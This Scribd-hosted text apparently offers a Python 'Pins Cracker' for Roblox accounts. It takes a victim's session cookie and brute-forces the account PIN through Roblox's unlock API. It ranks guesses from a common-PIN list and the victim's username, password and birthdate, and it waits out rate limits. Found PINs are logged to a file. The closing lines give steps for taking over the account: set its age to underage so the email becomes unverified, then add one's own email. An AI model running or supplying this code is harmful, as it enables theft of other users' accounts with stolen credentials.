0% found this document useful (0 votes)
13 views2 pages

Crack Pins

Uploaded by

ssycn37
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views2 pages

Crack Pins

Uploaded by

ssycn37
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

Pins Cracker

Must run on visual studio & edit the code

import time
import ctypes
import requests
from threading import Thread

account = input(
'Enter your user:pass:cookie.\n'
'No user:pass? Just do something like random:poop:<cookie>\n'
'--> '
)

try: username, password, cookie = account.split(':',2)


except:
input('INVALID FORMAT >:(')
exit()

req = requests.Session()
req.cookies['.ROBLOSECURITY'] = cookie
try:
r = req.get('https://www.roblox.com/mobileapi/userinfo').json()
userid = r['UserID']
except:
input('INVALID COOKIE')
exit()

print('Logged in.\n')

r = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/
master/Passwords/Common-Credentials/four-digit-pin-codes-sorted-by-frequency-
withcount.csv').text
pins = [x.split(',')[0] for x in r.splitlines()]
print('Loaded most common pins.')

r = req.get('https://accountinformation.roblox.com/v1/birthdate').json()
month = str(r['birthMonth']).zfill(2)
day = str(r['birthDay']).zfill(2)
year = str(r['birthYear'])

likely = [username[:4], password[:4], username[:2]*2, password[:2]*2, username[-


4:], password[-4:], username[-2:]*2, password[-2:]*2, year, day+day, month+month,
month+day, day+month]
likely = [x for x in likely if x.isdigit() and len(x) == 4]
for pin in likely:
pins.remove(pin)
pins.insert(0, pin)

print(f'Prioritized likely pins {likely}\n')

sleep = 0
tried = 0

while 1:
pin = pins.pop(0)
ctypes.windll.kernel32.SetConsoleTitleW(f'PIN CRACKER | Tried: {tried}/9999 |
Current pin: {pin}')
try:
r = req.post('https://auth.roblox.com/v1/account/pin/unlock', json={'pin':
pin})
if 'X-CSRF-TOKEN' in r.headers:
pins.insert(0, pin)
req.headers['X-CSRF-TOKEN'] = r.headers['X-CSRF-TOKEN']
elif 'errors' in r.json():
code = r.json()['errors'][0]['code']
if code == 0 and r.json()['errors'][0]['message'] == 'Authorization has
been denied for this request.':
print(f'[FAILURE] Account cookie expired.')
break
elif code == 1:
print(f'[SUCCESS] NO PIN')
with open('cracked.txt','a') as f:
f.write(f'NO PIN:{account}\n')
break
elif code == 3:
pins.insert(0, pin)
sleep += 1
if sleep == 5:
sleep = 0
time.sleep(300)
elif code == 4:
tried += 1
elif 'unlockedUntil' in r.json():
print(f'[SUCCESS] {pin}')
with open('cracked.txt','a') as f:
f.write(f'{pin}:{account}\n')
break
else:
print(f'[ERROR] {r.text}')
pins.append(pin)
except Exception as e:
print(f'[ERROR] {e}')
pins.append(pin)

input()

then change account age to underage


and the email auto gets unverified
add your email
and you get the account

You might also like